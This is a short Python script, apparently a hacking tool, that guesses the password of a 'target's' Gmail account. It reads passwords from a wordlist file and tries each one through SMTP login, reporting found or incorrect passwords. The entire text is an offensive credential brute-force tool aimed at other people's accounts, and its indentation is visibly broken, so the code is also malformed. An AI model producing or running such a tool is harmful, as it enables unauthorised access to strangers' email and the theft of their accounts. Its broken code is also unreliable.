import smtplib

smtp_srverG= smtplib.SMTP('smtp.gmail.com', 587)
smtp_srverG.ehlo()
smtp_srverG.starttls()

user = input("Enter the target's email address: ")
passwfile = input("Enter the password file name: ")
passwfile = open(passwfile, "r")

for password in passwfile:
    password = password.strip()
    try:
        smtp_srverG.login(user, password)

                print("[+] Password Found: %s" % password)
                break;
        except smtplib.SMTPAuthenticationError:
                print("[!] Password Incorrect: %s" % password)